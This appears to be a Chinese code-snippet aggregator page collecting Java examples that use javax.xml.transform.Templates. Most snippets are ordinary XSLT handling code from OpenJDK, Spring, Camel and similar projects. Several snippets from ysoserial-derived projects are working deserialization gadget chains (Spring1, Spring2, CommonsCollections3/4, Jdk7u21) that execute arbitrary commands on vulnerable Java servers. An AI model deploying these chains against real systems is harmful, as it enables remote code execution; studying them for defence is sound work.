Java 类javax.xml.transform.Templates 实例源码

项目:APacheSynapseSimplePOC    文件:Spring1.java   
public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);

    final ObjectFactory objectFactoryProxy =
            Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);

    final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)
            Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
                .newInstance(objectFactoryProxy), Type.class, Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
            Gadgets.createMap("getType", typeTemplatesProxy),
            forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
    final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");

    return mitp;
}
项目:APacheSynapseSimplePOC    文件:CommonsCollections3.java   
public Object getObject(final String command) throws Exception {
    Object templatesImpl = Gadgets.createTemplatesImpl(command);

    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                    new Class[] { Templates.class },
                    new Object[] { templatesImpl } )};

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return handler;
}
项目:APacheSynapseSimplePOC    文件:Spring2.java   
public Object getObject ( final String command ) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);

    AdvisedSupport as = new AdvisedSupport();
    as.setTargetSource(new SingletonTargetSource(templates));

    final Type typeTemplatesProxy = Gadgets.createProxy(
        (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
        Type.class,
        Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
        Gadgets.createMap("getType", typeTemplatesProxy),
        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
    Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");
    return mitp;
}
项目:APacheSynapseSimplePOC    文件:Jdk7u21.java   
public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);

    String zeroHashCodeStr = "f5a5a608";

    HashMap map = new HashMap();
    map.put(zeroHashCodeStr, "foo");

    InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    Reflections.setFieldValue(tempHandler, "type", Templates.class);
    Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

    LinkedHashSet set = new LinkedHashSet(); // maintain order
    set.add(templates);
    set.add(proxy);

    Reflections.setFieldValue(templates, "_auxClasses", null);
    Reflections.setFieldValue(templates, "_class", null);

    map.put(zeroHashCodeStr, templates); // swap in real object

    return set;
}
项目:OpenJSharp    文件:TransformerFactoryImpl.java   
/**
 * javax.xml.transform.sax.SAXTransformerFactory implementation.
 * Create an XMLFilter that uses the given source as the
 * transformation instructions.
 *
 * @param templates The source of the transformation instructions.
 * @return An XMLFilter object, or null if this feature is not supported.
 * @throws TransformerConfigurationException
 */
@Override
public XMLFilter newXMLFilter(Templates templates)
    throws TransformerConfigurationException
{
    try {
        return new com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter(templates);
    }
    catch (TransformerConfigurationException e1) {
        if (_errorListener != null) {
            try {
                _errorListener.fatalError(e1);
                return null;
            }
            catch (TransformerException e2) {
                new TransformerConfigurationException(e2);
            }
        }
        throw e1;
    }
}
项目:OpenJSharp    文件:SmartTransformerFactoryImpl.java   
/**
 * Create a Templates object that from the input stylesheet
 * Uses the com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactory.
 * @param source the stylesheet.
 * @return A Templates object.
 */
public Templates newTemplates(Source source)
    throws TransformerConfigurationException
{
    if (_xsltcFactory == null) {
        createXSLTCTransformerFactory();
    }
    if (_errorlistener != null) {
        _xsltcFactory.setErrorListener(_errorlistener);
    }
    if (_uriresolver != null) {
        _xsltcFactory.setURIResolver(_uriresolver);
    }
    _currFactory = _xsltcFactory;
    return _currFactory.newTemplates(source);
}
项目:OpenJSharp    文件:SmartTransformerFactoryImpl.java   
/**
 * Create an XMLFilter that uses the given source as the
 * transformation instructions. Uses
 * com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactory.
 */
public XMLFilter newXMLFilter(Source src)
    throws TransformerConfigurationException {
    if (_xsltcFactory == null) {
        createXSLTCTransformerFactory();
    }
    if (_errorlistener != null) {
        _xsltcFactory.setErrorListener(_errorlistener);
    }
    if (_uriresolver != null) {
        _xsltcFactory.setURIResolver(_uriresolver);
    }
    Templates templates = _xsltcFactory.newTemplates(src);
    if (templates == null ) return null;
    return newXMLFilter(templates);
}
项目:OpenJSharp    文件:SmartTransformerFactoryImpl.java   
public XMLFilter newXMLFilter(Templates templates)
    throws TransformerConfigurationException {
    try {
        return new com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter(templates);
    }
    catch(TransformerConfigurationException e1) {
        if (_xsltcFactory == null) {
            createXSLTCTransformerFactory();
        }
        ErrorListener errorListener = _xsltcFactory.getErrorListener();
        if(errorListener != null) {
            try {
                errorListener.fatalError(e1);
                return null;
            }
            catch( TransformerException e2) {
                new TransformerConfigurationException(e2);
            }
        }
        throw e1;
    }
}
项目:ysoserial-modified    文件:Spring1.java   
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

    final ObjectFactory objectFactoryProxy = 
            Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);

    final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 
            Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
                .newInstance(objectFactoryProxy), Type.class, Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
            Gadgets.createMap("getType", typeTemplatesProxy), 
            forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
    final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");

    return mitp;
}
项目:ysoserial-modified    文件:CommonsCollections3.java   
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {

    Object templatesImpl = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                    new Class[] { Templates.class },
                    new Object[] { templatesImpl } )};

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return handler;
}
项目:ysoserial-modified    文件:Spring2.java   
public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

    AdvisedSupport as = new AdvisedSupport();
    as.setTargetSource(new SingletonTargetSource(templates));

    final Type typeTemplatesProxy = Gadgets.createProxy(
        (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
        Type.class,
        Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
        Gadgets.createMap("getType", typeTemplatesProxy),
        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
    Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");
    return mitp;
}
项目:ysoserial-modified    文件:Jdk7u21.java   
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

    String zeroHashCodeStr = "f5a5a608";

    HashMap map = new HashMap();
    map.put(zeroHashCodeStr, "foo");

    InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    Reflections.setFieldValue(tempHandler, "type", Templates.class);
    Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

    LinkedHashSet set = new LinkedHashSet(); // maintain order
    set.add(templates);
    set.add(proxy);

    Reflections.setFieldValue(templates, "_auxClasses", null);
    Reflections.setFieldValue(templates, "_class", null);

    map.put(zeroHashCodeStr, templates); // swap in real object

    return set;
}
项目:ChronoBike    文件:XSLTransformer.java   
public static XSLTransformer loadFromFile(File fSS, boolean bForCache)
{
    try
    {
        Source stylesheet = new StreamSource(fSS) ; 
        if (bForCache)
        { // if this processor is cached, use XALAN XSLTCompiler, instead of XALAN interpretor
            System.setProperty("javax.xml.transform.TransformerFactory", "org.apache.xalan.xsltc.trax.TransformerFactoryImpl") ;
        }
        Templates templ = TransformerFactory.newInstance().newTemplates(stylesheet) ;
        return new XSLTransformer(templ);
    }
    catch (TransformerConfigurationException e)
    {
        return null ;
    }
}
项目:jdk8u-jdk    文件:NamespacePrefixTest.java   
@Test
public void testConcurrentTransformations() throws Exception {
    final TransformerFactory tf = TransformerFactory.newInstance();
    final Source xslsrc = new StreamSource(new StringReader(XSL));
    final Templates tmpl = tf.newTemplates(xslsrc);
    concurrentTestPassed.set(true);

    // Execute multiple TestWorker tasks
    for (int id = 0; id < THREADS_COUNT; id++) {
        EXECUTOR.execute(new TransformerThread(tmpl.newTransformer(), id));
    }
    // Initiate shutdown of previously submitted task
    EXECUTOR.shutdown();
    // Wait for termination of submitted tasks
    if (!EXECUTOR.awaitTermination(THREADS_COUNT, TimeUnit.SECONDS)) {
        // If not all tasks terminates during the time out force them to shutdown
        EXECUTOR.shutdownNow();
    }
    // Check if all transformation threads generated the correct namespace prefix
    assertTrue(concurrentTestPassed.get());
}
项目:openjdk-jdk10    文件:TransformerFactoryImpl.java   
/**
 * javax.xml.transform.sax.SAXTransformerFactory implementation.
 * Create an XMLFilter that uses the given source as the
 * transformation instructions.
 *
 * @param templates The source of the transformation instructions.
 * @return An XMLFilter object, or null if this feature is not supported.
 * @throws TransformerConfigurationException
 */
@Override
public XMLFilter newXMLFilter(Templates templates)
    throws TransformerConfigurationException
{
    try {
        return new com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter(templates);
    }
    catch (TransformerConfigurationException e1) {
        if (_errorListener != null) {
            try {
                _errorListener.fatalError(e1);
                return null;
            }
            catch (TransformerException e2) {
                new TransformerConfigurationException(e2);
            }
        }
        throw e1;
    }
}
项目:openjdk-jdk10    文件:NamespacePrefixTest.java   
@Test
public void testConcurrentTransformations() throws Exception {
    final TransformerFactory tf = TransformerFactory.newInstance();
    final Source xslsrc = new StreamSource(new StringReader(XSL));
    final Templates tmpl = tf.newTemplates(xslsrc);
    concurrentTestPassed.set(true);

    // Execute multiple TestWorker tasks
    for (int id = 0; id < THREADS_COUNT; id++) {
        EXECUTOR.execute(new TransformerThread(tmpl.newTransformer(), id));
    }
    // Initiate shutdown of previously submitted task
    runWithAllPerm(EXECUTOR::shutdown);
    // Wait for termination of submitted tasks
    if (!EXECUTOR.awaitTermination(THREADS_COUNT, TimeUnit.SECONDS)) {
        // If not all tasks terminates during the time out force them to shutdown
        runWithAllPerm(EXECUTOR::shutdownNow);
    }
    // Check if all transformation threads generated the correct namespace prefix
    assertTrue(concurrentTestPassed.get());
}
项目:ysoserial-plus    文件:Spring1.java   
public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);

    final ObjectFactory objectFactoryProxy = 
            Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);

    final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 
            Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
                .newInstance(objectFactoryProxy), Type.class, Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
            Gadgets.createMap("getType", typeTemplatesProxy), 
            forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
    final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");

    return mitp;
}
项目:ysoserial-plus    文件:CommonsCollections3.java   
public Object getObject(final String command) throws Exception {
    Object templatesImpl = Gadgets.createTemplatesImpl(command);

    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                    new Class[] { Templates.class },
                    new Object[] { templatesImpl } )};

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return handler;
}
项目:ysoserial-plus    文件:Spring2.java   
public Object getObject ( final String command ) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);

    AdvisedSupport as = new AdvisedSupport();
    as.setTargetSource(new SingletonTargetSource(templates));

    final Type typeTemplatesProxy = Gadgets.createProxy(
        (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
        Type.class,
        Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
        Gadgets.createMap("getType", typeTemplatesProxy),
        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
    Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");
    return mitp;
}
项目:ysoserial-plus    文件:Jdk7u21.java   
public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);

    String zeroHashCodeStr = "f5a5a608";

    HashMap map = new HashMap();
    map.put(zeroHashCodeStr, "foo");

    InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    Reflections.setFieldValue(tempHandler, "type", Templates.class);
    Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

    LinkedHashSet set = new LinkedHashSet(); // maintain order
    set.add(templates);
    set.add(proxy);

    Reflections.setFieldValue(templates, "_auxClasses", null);
    Reflections.setFieldValue(templates, "_class", null);

    map.put(zeroHashCodeStr, templates); // swap in real object

    return set;
}
项目:openjdk9    文件:TransformerFactoryImpl.java   
/**
 * javax.xml.transform.sax.SAXTransformerFactory implementation.
 * Create an XMLFilter that uses the given source as the
 * transformation instructions.
 *
 * @param templates The source of the transformation instructions.
 * @return An XMLFilter object, or null if this feature is not supported.
 * @throws TransformerConfigurationException
 */
@Override
public XMLFilter newXMLFilter(Templates templates)
    throws TransformerConfigurationException
{
    try {
        return new com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter(templates);
    }
    catch (TransformerConfigurationException e1) {
        if (_errorListener != null) {
            try {
                _errorListener.fatalError(e1);
                return null;
            }
            catch (TransformerException e2) {
                new TransformerConfigurationException(e2);
            }
        }
        throw e1;
    }
}
项目:JavaSerialKiller    文件:CommonsCollections3.java   
public Object getObject(final String command) throws Exception {
    TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);

    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                    new Class[] { Templates.class },
                    new Object[] { templatesImpl } )};

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return handler;
}
项目:mycore    文件:MCRTemplatesCompiler.java   
/** Returns a new transformer for the compiled XSL templates 
 */
public static Transformer getTransformer(Templates templates) throws TransformerConfigurationException {
    Transformer tf = factory.newTransformerHandler(templates).getTransformer();

    // In debug mode, add a TraceListener to log stylesheet execution
    if (LOGGER.isDebugEnabled()) {
        try {
            TraceManager tm = ((org.apache.xalan.transformer.TransformerImpl) tf).getTraceManager();
            tm.addTraceListener(new MCRTraceListener());

        } catch (Exception ex) {
            LOGGER.warn(ex);
        }
    }

    return tf;
}
项目:spring4-understanding    文件:XsltView.java   
@Override
protected void renderMergedOutputModel(
        Map<String, Object> model, HttpServletRequest request, HttpServletResponse response)
        throws Exception {

    Templates templates = this.cachedTemplates;
    if (templates == null) {
        templates = loadTemplates();
    }

    Transformer transformer = createTransformer(templates);
    configureTransformer(model, response, transformer);
    configureResponse(model, response, transformer);
    Source source = null;
    try {
        source = locateSource(model);
        if (source == null) {
            throw new IllegalArgumentException("Unable to locate Source object in model: " + model);
        }
        transformer.transform(source, createResult(response));
    }
    finally {
        closeSourceIfNecessary(source);
    }
}
项目:spring4-understanding    文件:XsltView.java   
/**
 * Load the {@link Templates} instance for the stylesheet at the configured location.
 */
private Templates loadTemplates() throws ApplicationContextException {
    Source stylesheetSource = getStylesheetSource();
    try {
        Templates templates = this.transformerFactory.newTemplates(stylesheetSource);
        if (logger.isDebugEnabled()) {
            logger.debug("Loading templates '" + templates + "'");
        }
        return templates;
    }
    catch (TransformerConfigurationException ex) {
        throw new ApplicationContextException("Can't load stylesheet from '" + getUrl() + "'", ex);
    }
    finally {
        closeSourceIfNecessary(stylesheetSource);
    }
}
项目:restlet-framework    文件:TransformRepresentation.java   
/**
 * Returns the SAX transformer handler associated to the transform sheet.
 * 
 * @return The SAX transformer handler.
 * @throws IOException
 */
public TransformerHandler getTransformerHandler() throws IOException {
    TransformerHandler result = null;
    Templates templates = getTemplates();

    if (templates != null) {
        try {
            result = getSaxTransformerFactory().newTransformerHandler(
                    templates);
        } catch (TransformerConfigurationException tce) {
            throw new IOException("Transformer configuration exception. "
                    + tce.getMessage());
        }
    }

    return result;
}
项目:ph-stx    文件:TransformerFactoryImpl.java   
/**
 * Creates a new Templates for Transformations.
 *
 * @param source
 *        The <code>Source</code> of the stylesheet.
 * @return A <code>Templates</code> object or <code>null</code> when an error
 *         occured (no user defined ErrorListener)
 * @throws TransformerConfigurationException
 */
@Override
public Templates newTemplates (final Source source) throws TransformerConfigurationException
{

  synchronized (m_aReentryGuard)
  {
    if (CSTX.DEBUG)
    {
      if (log.isDebugEnabled ())
        log.debug ("get a Templates-instance from Source " + source.getSystemId ());
    }
    try
    {
      final SAXSource saxSource = TrAXHelper.getSAXSource (source, m_aErrorListener);
      final Templates template = new TemplatesImpl (saxSource.getXMLReader (), saxSource.getInputSource (), this);
      return template;
    }
    catch (final TransformerException tE)
    {
      m_aDefaultErrorListener.fatalError (tE);
      return null;
    }
  }
}
项目:ph-stx    文件:TransformerFactoryImpl.java   
/**
 * Creates an <code>XMLFilter</code> that uses the given <code>Source</code>
 * as the transformation instructions. Implementation of the
 * {@link SAXTransformerFactory}
 *
 * @param src
 *        - The Source of the transformation instructions.
 * @return An {@link XMLFilter} object, or <code>null</code> if this feature
 *         is not supported.
 * @throws TransformerConfigurationException
 */
@Override
public XMLFilter newXMLFilter (final Source src) throws TransformerConfigurationException
{

  if (CSTX.DEBUG)
    if (log.isDebugEnabled ())
      log.debug ("getting SAXTransformerFactory.FEATURE_XMLFILTER " + "from Source " + src.getSystemId ());
  XMLFilter xFilter = null;
  try
  {
    final Templates templates = newTemplates (src);
    // get a XMLReader
    final XMLReader parser = Processor.createXMLReader ();
    xFilter = newXMLFilter (templates);
    xFilter.setParent (parser);
    return xFilter;
  }
  catch (final SAXException ex)
  {
    final TransformerConfigurationException tE = new TransformerConfigurationException (ex.getMessage (), ex);
    m_aDefaultErrorListener.fatalError (tE);
    return null;
  }
}
项目:Camel    文件:XsltBuilder.java   
/**
 * Sets the XSLT transformer from a Source
 *
 * @param source  the source
 * @throws TransformerConfigurationException is thrown if creating a XSLT transformer failed.
 */
public void setTransformerSource(Source source) throws TransformerConfigurationException {
    TransformerFactory factory = converter.getTransformerFactory();
    if (errorListener != null) {
        factory.setErrorListener(errorListener);
    } else {
        // use a logger error listener so users can see from the logs what the error may be
        factory.setErrorListener(new XsltErrorListener());
    }
    if (getUriResolver() != null) {
        factory.setURIResolver(getUriResolver());
    }

    // Check that the call to newTemplates() returns a valid template instance.
    // In case of an xslt parse error, it will return null and we should stop the
    // deployment and raise an exception as the route will not be setup properly.
    Templates templates = factory.newTemplates(source);
    if (templates != null) {
        setTemplate(templates);
    } else {
        throw new TransformerConfigurationException("Error creating XSLT template. "
                + "This is most likely be caused by a XML parse error. "
                + "Please verify your XSLT file configured.");
    }
}
项目:JavaSerialKiller    文件:Jdk7u21.java   
public Object getObject(final String command) throws Exception {
    final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

    String zeroHashCodeStr = "f5a5a608";

    HashMap map = new HashMap();
    map.put(zeroHashCodeStr, "foo");

    InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    Reflections.setFieldValue(tempHandler, "type", Templates.class);
    Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

    LinkedHashSet set = new LinkedHashSet(); // maintain order
    set.add(templates);
    set.add(proxy);

    Reflections.setFieldValue(templates, "_auxClasses", null);
    Reflections.setFieldValue(templates, "_class", null);

    map.put(zeroHashCodeStr, templates); // swap in real object

    return set;
}
项目:ph-stx    文件:TransformerThread.java   
public TransformerThread (final Templates templates, final String name)
{
  super (name);
  this.m_sName = name;
  this.counter = 0;

  try
  {

    this.m_aTransformer = templates.newTransformer ();

  }
  catch (final TransformerConfigurationException ex)
  {
    ex.printStackTrace ();
  }
}
项目:jdk8u_jdk    文件:NamespacePrefixTest.java   
@Test
public void testConcurrentTransformations() throws Exception {
    final TransformerFactory tf = TransformerFactory.newInstance();
    final Source xslsrc = new StreamSource(new StringReader(XSL));
    final Templates tmpl = tf.newTemplates(xslsrc);
    concurrentTestPassed.set(true);

    // Execute multiple TestWorker tasks
    for (int id = 0; id < THREADS_COUNT; id++) {
        EXECUTOR.execute(new TransformerThread(tmpl.newTransformer(), id));
    }
    // Initiate shutdown of previously submitted task
    EXECUTOR.shutdown();
    // Wait for termination of submitted tasks
    if (!EXECUTOR.awaitTermination(THREADS_COUNT, TimeUnit.SECONDS)) {
        // If not all tasks terminates during the time out force them to shutdown
        EXECUTOR.shutdownNow();
    }
    // Check if all transformation threads generated the correct namespace prefix
    assertTrue(concurrentTestPassed.get());
}
项目:lookaside_java-1.8.0-openjdk    文件:NamespacePrefixTest.java   
@Test
public void testConcurrentTransformations() throws Exception {
    final TransformerFactory tf = TransformerFactory.newInstance();
    final Source xslsrc = new StreamSource(new StringReader(XSL));
    final Templates tmpl = tf.newTemplates(xslsrc);
    concurrentTestPassed.set(true);

    // Execute multiple TestWorker tasks
    for (int id = 0; id < THREADS_COUNT; id++) {
        EXECUTOR.execute(new TransformerThread(tmpl.newTransformer(), id));
    }
    // Initiate shutdown of previously submitted task
    EXECUTOR.shutdown();
    // Wait for termination of submitted tasks
    if (!EXECUTOR.awaitTermination(THREADS_COUNT, TimeUnit.SECONDS)) {
        // If not all tasks terminates during the time out force them to shutdown
        EXECUTOR.shutdownNow();
    }
    // Check if all transformation threads generated the correct namespace prefix
    assertTrue(concurrentTestPassed.get());
}
项目:lookaside_java-1.8.0-openjdk    文件:TransformerFactoryImpl.java   
/**
 * javax.xml.transform.sax.SAXTransformerFactory implementation.
 * Create an XMLFilter that uses the given source as the
 * transformation instructions.
 *
 * @param templates The source of the transformation instructions.
 * @return An XMLFilter object, or null if this feature is not supported.
 * @throws TransformerConfigurationException
 */
@Override
public XMLFilter newXMLFilter(Templates templates)
    throws TransformerConfigurationException
{
    try {
        return new com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter(templates);
    }
    catch (TransformerConfigurationException e1) {
        if (_errorListener != null) {
            try {
                _errorListener.fatalError(e1);
                return null;
            }
            catch (TransformerException e2) {
                new TransformerConfigurationException(e2);
            }
        }
        throw e1;
    }
}
项目:lookaside_java-1.8.0-openjdk    文件:SmartTransformerFactoryImpl.java   
/**
 * Create a Templates object that from the input stylesheet
 * Uses the com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactory.
 * @param source the stylesheet.
 * @return A Templates object.
 */
public Templates newTemplates(Source source)
    throws TransformerConfigurationException
{
    if (_xsltcFactory == null) {
        createXSLTCTransformerFactory();
    }
    if (_errorlistener != null) {
        _xsltcFactory.setErrorListener(_errorlistener);
    }
    if (_uriresolver != null) {
        _xsltcFactory.setURIResolver(_uriresolver);
    }
    _currFactory = _xsltcFactory;
    return _currFactory.newTemplates(source);
}
项目:lookaside_java-1.8.0-openjdk    文件:SmartTransformerFactoryImpl.java   
/**
 * Create an XMLFilter that uses the given source as the
 * transformation instructions. Uses
 * com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactory.
 */
public XMLFilter newXMLFilter(Source src)
    throws TransformerConfigurationException {
    if (_xsltcFactory == null) {
        createXSLTCTransformerFactory();
    }
    if (_errorlistener != null) {
        _xsltcFactory.setErrorListener(_errorlistener);
    }
    if (_uriresolver != null) {
        _xsltcFactory.setURIResolver(_uriresolver);
    }
    Templates templates = _xsltcFactory.newTemplates(src);
    if (templates == null ) return null;
    return newXMLFilter(templates);
}
项目:lookaside_java-1.8.0-openjdk    文件:SmartTransformerFactoryImpl.java   
public XMLFilter newXMLFilter(Templates templates)
    throws TransformerConfigurationException {
    try {
        return new com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter(templates);
    }
    catch(TransformerConfigurationException e1) {
        if (_xsltcFactory == null) {
            createXSLTCTransformerFactory();
        }
        ErrorListener errorListener = _xsltcFactory.getErrorListener();
        if(errorListener != null) {
            try {
                errorListener.fatalError(e1);
                return null;
            }
            catch( TransformerException e2) {
                new TransformerConfigurationException(e2);
            }
        }
        throw e1;
    }
}
项目:APacheSynapseSimplePOC    文件:CommonsCollections4.java   
public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}
项目:OpenJSharp    文件:TransformerFactoryImpl.java   
/**
 * javax.xml.transform.sax.TransformerFactory implementation.
 * Process the Source into a Templates object, which is a a compiled
 * representation of the source. Note that this method should not be
 * used with XSLTC, as the time-consuming compilation is done for each
 * and every transformation.
 *
 * @return A Templates object that can be used to create Transformers.
 * @throws TransformerConfigurationException
 */
@Override
public Transformer newTransformer(Source source) throws
    TransformerConfigurationException
{
    final Templates templates = newTemplates(source);
    final Transformer transformer = templates.newTransformer();
    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }
    return(transformer);
}
项目:OpenJSharp    文件:TrAXFilter.java   
public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}